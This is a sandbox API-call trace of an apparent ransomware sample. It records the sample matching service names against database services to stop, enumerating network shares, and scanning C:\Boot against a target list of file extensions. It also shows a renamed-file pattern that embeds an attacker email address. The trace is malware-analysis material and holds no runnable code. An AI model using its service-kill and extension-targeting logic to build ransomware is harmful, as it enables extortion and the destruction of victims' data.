	[0208.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0208.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0208.293] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0208.293] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0208.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0208.293] lstrlenW (lpString="SamSs") returned 5
	[0208.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0208.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0208.293] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0208.293] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0208.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0208.293] lstrlenW (lpString="Schedule") returned 8
	[0208.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0208.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0208.293] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0208.293] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0208.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0208.293] lstrlenW (lpString="SecurityHealthService") returned 21
	[0208.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0208.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0208.293] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0208.293] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0208.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0208.293] lstrlenW (lpString="SENS") returned 4
	[0208.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0208.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0208.293] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0208.293] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0208.293] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0208.293] lstrlenW (lpString="ShellHWDetection") returned 16
	[0208.293] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0208.293] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0208.293] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0208.294] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0208.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0208.294] lstrlenW (lpString="Spooler") returned 7
	[0208.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0208.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0208.294] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0208.294] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0208.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0208.294] lstrlenW (lpString="StateRepository") returned 15
	[0208.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0208.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0208.294] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0208.294] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0208.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0208.294] lstrlenW (lpString="SysMain") returned 7
	[0208.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0208.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0208.294] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0208.294] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0208.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0208.294] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0208.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0208.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0208.294] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0208.294] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0208.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0208.294] lstrlenW (lpString="Themes") returned 6
	[0208.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0208.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0208.294] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0208.294] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0208.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0208.294] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0208.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0208.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0208.295] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0208.295] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0208.295] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x455b968 | out: hHeap=0x560000) returned 1
	[0208.295] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) 

Thread:
	id = 86
	os_tid = 0xf6c

	[0204.843] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0xffffffff) returned 0x80
	[0205.330] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5a2de0 | out: hHeap=0x560000) returned 1

Thread:
	id = 87
	os_tid = 0xf70

	[0204.844] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5dedc8
	[0204.844] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5dedc8, Size=0x20) returned 0x59da50
	[0204.844] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x59da50, Size=0x40) returned 0x5779b0
	[0204.844] GetLogicalDrives () returned 0x4
	[0204.844] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0xfffe) returned 0x5b6508
	[0204.844] GetComputerNameW (in: lpBuffer=0x5b650c, nSize=0x277ff64 | out: lpBuffer="NQDPDE", nSize=0x277ff64) returned 1
	[0204.844] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1000) returned 0x5e2030
	[0204.844] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x277ff34 | out: lphEnum=0x277ff34*=0x576338) returned 0x0
	[0204.845] WNetEnumResourceW (in: hEnum=0x576338, lpcCount=0x277ff30, lpBuffer=0x5e2030, lpBufferSize=0x277ff38 | out: lpcCount=0x277ff30, lpBuffer=0x5e2030, lpBufferSize=0x277ff38) returned 0x103
	[0204.847] WNetCloseEnum (hEnum=0x576338) returned 0x0
	[0204.847] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x277ff34 | out: lphEnum=0x277ff34*=0x57a7c0) returned 0x0
	[0204.863] WNetEnumResourceW (in: hEnum=0x57a7c0, lpcCount=0x277ff30, lpBuffer=0x5e2030, lpBufferSize=0x277ff38 | out: lpcCount=0x277ff30, lpBuffer=0x5e2030, lpBufferSize=0x277ff38) returned 0x0
	[0204.863] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1000) returned 0x5e5258
	[0204.863] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x5e2030, lphEnum=0x277ff08 | out: lphEnum=0x277ff08*=0x5761f8) returned 0x0
	[0204.867] WNetEnumResourceW (in: hEnum=0x5761f8, lpcCount=0x277ff04, lpBuffer=0x5e5258, lpBufferSize=0x277ff0c | out: lpcCount=0x277ff04, lpBuffer=0x5e5258, lpBufferSize=0x277ff0c) returned 0x103
	[0204.867] WNetCloseEnum (hEnum=0x5761f8) returned 0x0
	[0204.867] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1000) returned 0x5e6260
	[0204.868] WNetOpenEnumW (dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x5e2050, lphEnum=0x277ff08) 

Thread:
	id = 88
	os_tid = 0xf74

	[0205.016] GetTickCount () returned 0x1146989
	[0205.016] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x24) returned 0x5e0880
	[0205.016] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e0880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2c8
	[0205.017] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e0880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2cc
	[0205.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e0880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d0
	[0205.018] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e0880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d4
	[0205.019] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5def78
	[0205.019] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5def78, Size=0x20) returned 0x59e018
	[0205.019] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5df020
	[0205.019] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5df020, Size=0x20) returned 0x59e158
	[0205.019] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0205.019] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0205.019] Wow64DisableWow64FsRedirection (in: OldValue=0x287ff7c | out: OldValue=0x287ff7c*=0x0) returned 1
	[0205.019] lstrlenW (lpString="kernel32.dll") returned 12
	[0205.019] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59e018 | out: hHeap=0x560000) returned 1
	[0205.019] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0205.019] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59e158 | out: hHeap=0x560000) returned 1
	[0205.019] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x5a54e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8
	[0205.020] WaitForSingleObject (hHandle=0x2d8, dwMilliseconds=0x64) returned 0x102
	[0205.301] GetTickCount () returned 0x1146aa2
	[0205.301] WaitForSingleObject (hHandle=0x2d8, dwMilliseconds=0x64) returned 0x102
	[0205.561] GetTickCount () returned 0x1146bac
	[0205.561] WaitForSingleObject (hHandle=0x2d8, dwMilliseconds=0x64) returned 0x102
	[0205.949] GetTickCount () returned 0x1146d23
	[0205.950] WaitForSingleObject (hHandle=0x2d8, dwMilliseconds=0x64) returned 0x102
	[0206.319] GetTickCount () returned 0x1146e9a
	[0206.319] GetTickCount () returned 0x1146e9a
	[0206.319] WaitForSingleObject (hHandle=0x2d8, dwMilliseconds=0x64) returned 0x102
	[0206.869] GetTickCount () returned 0x11470bc
	[0206.869] WaitForSingleObject (hHandle=0x2d8, dwMilliseconds=0x64) returned 0x102
	[0207.366] GetTickCount () returned 0x11472b0
	[0207.366] GetTickCount () returned 0x11472b0
	[0207.366] WaitForSingleObject (hHandle=0x2d8, dwMilliseconds=0x64) returned 0x102
	[0207.734] GetTickCount () returned 0x1147427
	[0207.734] WaitForSingleObject (hHandle=0x2d8, dwMilliseconds=0x64) returned 0x102
	[0208.249] GetTickCount () returned 0x114761b
	[0208.249] WaitForSingleObject (hHandle=0x2d8, dwMilliseconds=0x64) 

Thread:
	id = 89
	os_tid = 0xf78

	[0205.020] GetTickCount () returned 0x1146989
	[0205.020] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x24) returned 0x5e0a00
	[0205.020] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e0a00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc
	[0205.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e0a00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0
	[0205.021] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e0a00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e4
	[0205.022] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5e0a00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e8
	[0205.023] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5defa8
	[0205.023] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5defa8, Size=0x20) returned 0x59dff0
	[0205.023] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5def78
	[0205.023] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5def78, Size=0x20) returned 0x59e018
	[0205.023] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0205.023] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0205.023] Wow64DisableWow64FsRedirection (in: OldValue=0x29bff7c | out: OldValue=0x29bff7c*=0x0) returned 1
	[0205.023] lstrlenW (lpString="kernel32.dll") returned 12
	[0205.023] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59dff0 | out: hHeap=0x560000) returned 1
	[0205.023] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0205.023] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59e018 | out: hHeap=0x560000) returned 1
	[0205.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x5c9540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2ec
	[0205.024] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0x64) returned 0x102
	[0205.301] GetTickCount () returned 0x1146aa2
	[0205.301] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0x64) returned 0x102
	[0205.561] GetTickCount () returned 0x1146bac
	[0205.561] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0x64) returned 0x102
	[0205.950] GetTickCount () returned 0x1146d23
	[0205.950] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0x64) returned 0x102
	[0206.319] GetTickCount () returned 0x1146e9a
	[0206.319] GetTickCount () returned 0x1146e9a
	[0206.319] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0x64) returned 0x102
	[0206.869] GetTickCount () returned 0x11470bc
	[0206.869] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0x64) returned 0x102
	[0207.366] GetTickCount () returned 0x11472b0
	[0207.366] GetTickCount () returned 0x11472b0
	[0207.366] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0x64) returned 0x102
	[0207.734] GetTickCount () returned 0x1147427
	[0207.734] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0x64) returned 0x102
	[0208.249] GetTickCount () returned 0x114761b
	[0208.249] WaitForSingleObject (hHandle=0x2ec, dwMilliseconds=0x64) 

Thread:
	id = 92
	os_tid = 0xf88

	[0205.068] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x5f0048
	[0205.069] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10000) returned 0x600050
	[0205.069] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5dee70
	[0205.069] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x6) returned 0x5ec6d0
	[0205.069] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5deee8
	[0205.069] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x100000) returned 0x3a40020
	[0205.072] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5dee88
	[0205.072] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5dee88, Size=0x20) returned 0x59e0b8
	[0205.072] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x10) returned 0x5dee88
	[0205.072] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x5dee88, Size=0x20) returned 0x59e180
	[0205.072] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x746a0000
	[0205.072] GetProcAddress (hModule=0x746a0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x746b6b30
	[0205.072] Wow64DisableWow64FsRedirection (in: OldValue=0x2efff50 | out: OldValue=0x2efff50*=0x0) returned 1
	[0205.072] lstrlenW (lpString="kernel32.dll") returned 12
	[0205.072] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59e0b8 | out: hHeap=0x560000) returned 1
	[0205.072] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0205.072] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x59e180 | out: hHeap=0x560000) returned 1
	[0205.072] Sleep (dwMilliseconds=0x64) 
	[0205.307] Sleep (dwMilliseconds=0x64) 
	[0205.562] lstrcmpiW (lpString1=".LOG", lpString2=".html") returned 1
	[0205.562] lstrlenW (lpString="BCD.LOG") returned 7
	[0205.562] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0205.562] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0205.562] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0205.562] lstrlenW (lpString=".doc") returned 4
	[0205.562] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0205.562] lstrlenW (lpString=".docx") returned 5
	[0205.562] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0205.562] lstrlenW (lpString=".pdf") returned 4
	[0205.562] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0205.562] lstrlenW (lpString=".xls") returned 4
	[0205.562] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0205.562] lstrlenW (lpString=".xlsx") returned 5
	[0205.562] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0205.562] lstrlenW (lpString=".ppt") returned 4
	[0205.562] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0205.562] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0205.562] lstrlenW (lpString=".zip") returned 4
	[0205.562] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0205.562] lstrlenW (lpString=".rar") returned 4
	[0205.562] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0205.562] lstrlenW (lpString=".bz2") returned 4
	[0205.562] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0205.562] lstrlenW (lpString=".7z") returned 3
	[0205.562] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0205.563] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0205.563] lstrlenW (lpString=".dbf") returned 4
	[0205.563] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0205.563] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0205.563] lstrlenW (lpString=".1cd") returned 4
	[0205.563] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0205.563] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0205.563] lstrlenW (lpString=".jpg") returned 4
	[0205.563] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0205.563] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0205.563] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0205.563] lstrlenW (lpString=".doc") returned 4
	[0205.563] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0205.563] lstrlenW (lpString=".docx") returned 5
	[0205.563] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0205.563] lstrlenW (lpString=".pdf") returned 4
	[0205.563] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0205.563] lstrlenW (lpString=".xls") returned 4
	[0205.563] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0205.563] lstrlenW (lpString=".xlsx") returned 5
	[0205.563] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0205.563] lstrlenW (lpString=".ppt") returned 4
	[0205.563] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0205.563] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0205.563] lstrlenW (lpString=".zip") returned 4
	[0205.563] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0205.563] lstrlenW (lpString=".rar") returned 4
	[0205.563] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0205.563] lstrlenW (lpString=".bz2") returned 4
	[0205.563] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0205.563] lstrlenW (lpString=".7z") returned 3
	[0205.563] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0205.564] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0205.564] lstrlenW (lpString=".dbf") returned 4
	[0205.564] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0205.564] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0205.564] lstrlenW (lpString=".1cd") returned 4
	[0205.564] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0205.564] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0205.564] lstrlenW (lpString=".jpg") returned 4
	[0205.564] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0205.564] lstrcmpiW (lpString1=".p7b", lpString2=".html") returned 1
	[0205.564] lstrlenW (lpString="updaterevokesipolicy.p7b") returned 24
	[0205.564] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0205.565] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2efff14 | out: lpFileSize=0x2efff14*=4662) returned 1
	[0205.565] CloseHandle (hObject=0x328) returned 1
	[0205.565] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b")) returned 0x20
	[0205.565] GetFileAttributesW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\boot\\updaterevokesipolicy.p7b.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0205.566] CreateFileW (lpFileName="C:\\Boot\\updaterevokesipolicy.p7b" (normalized: "c:\\boot\\updaterevokesipolicy.p7b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0205.566] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0205.566] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0205.566] lstrlenW (lpString=".doc") returned 4
	[0205.566] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1
	[0205.566] lstrlenW (lpString=".docx") returned 5
	[0205.566] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1
	[0205.566] lstrlenW (lpString=".pdf") returned 4
	[0205.566] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1
	[0205.566] lstrlenW (lpString=".xls") returned 4
	[0205.566] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1
	[0205.566] lstrlenW (lpString=".xlsx") returned 5
	[0205.566] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1
	[0205.566] lstrlenW (lpString=".ppt") returned 4
	[0205.566] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1
	[0205.566] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0205.566] lstrlenW (lpString=".zip") returned 4
	[0205.566] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1
	[0205.566] lstrlenW (lpString=".rar") returned 4
	[0205.566] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1
	[0205.566] lstrlenW (lpString=".bz2") returned 4
	[0205.566] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1
	[0205.566] lstrlenW (lpString=".7z") returned 3
	[0205.566] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1
	[0205.566] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0205.566] lstrlenW (lpString=".dbf") returned 4
	[0205.566] lstrcmpiW (lpString1=".dbf", lpString2=".p7b") returned -1
	[0205.566] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0205.566] lstrlenW (lpString=".1cd") returned 4
	[0205.566] lstrcmpiW (lpString1=".1cd", lpString2=".p7b") returned -1
	[0205.566] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0205.567] lstrlenW (lpString=".jpg") returned 4
	[0205.567] lstrcmpiW (lpString1=".jpg", lpString2=".p7b") returned -1
	[0205.567] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0205.567] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0205.567] lstrlenW (lpString=".doc") returned 4
	[0205.567] lstrcmpiW (lpString1=".doc", lpString2=".p7b") returned -1
	[0205.567] lstrlenW (lpString=".docx") returned 5
	[0205.567] lstrcmpiW (lpString1=".docx", lpString2="y.p7b") returned -1
	[0205.567] lstrlenW (lpString=".pdf") returned 4
	[0205.567] lstrcmpiW (lpString1=".pdf", lpString2=".p7b") returned 1
	[0205.567] lstrlenW (lpString=".xls") returned 4
	[0205.567] lstrcmpiW (lpString1=".xls", lpString2=".p7b") returned 1
	[0205.567] lstrlenW (lpString=".xlsx") returned 5
	[0205.567] lstrcmpiW (lpString1=".xlsx", lpString2="y.p7b") returned -1
	[0205.567] lstrlenW (lpString=".ppt") returned 4
	[0205.567] lstrcmpiW (lpString1=".ppt", lpString2=".p7b") returned 1
	[0205.567] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0205.567] lstrlenW (lpString=".zip") returned 4
	[0205.567] lstrcmpiW (lpString1=".zip", lpString2=".p7b") returned 1
	[0205.567] lstrlenW (lpString=".rar") returned 4
	[0205.567] lstrcmpiW (lpString1=".rar", lpString2=".p7b") returned 1
	[0205.567] lstrlenW (lpString=".bz2") returned 4
	[0205.567] lstrcmpiW (lpString1=".bz2", lpString2=".p7b") returned -1
	[0205.567] lstrlenW (lpString=".7z") returned 3
	[0205.567] lstrcmpiW (lpString1=".7z", lpString2="p7b") returned -1
	[0205.567] lstrlenW (lpString="C:\\Boot\\updaterevokesipolicy.p7b") returned 32
	[0205.567] lstrlenW (lpString=".dbf") returned 4
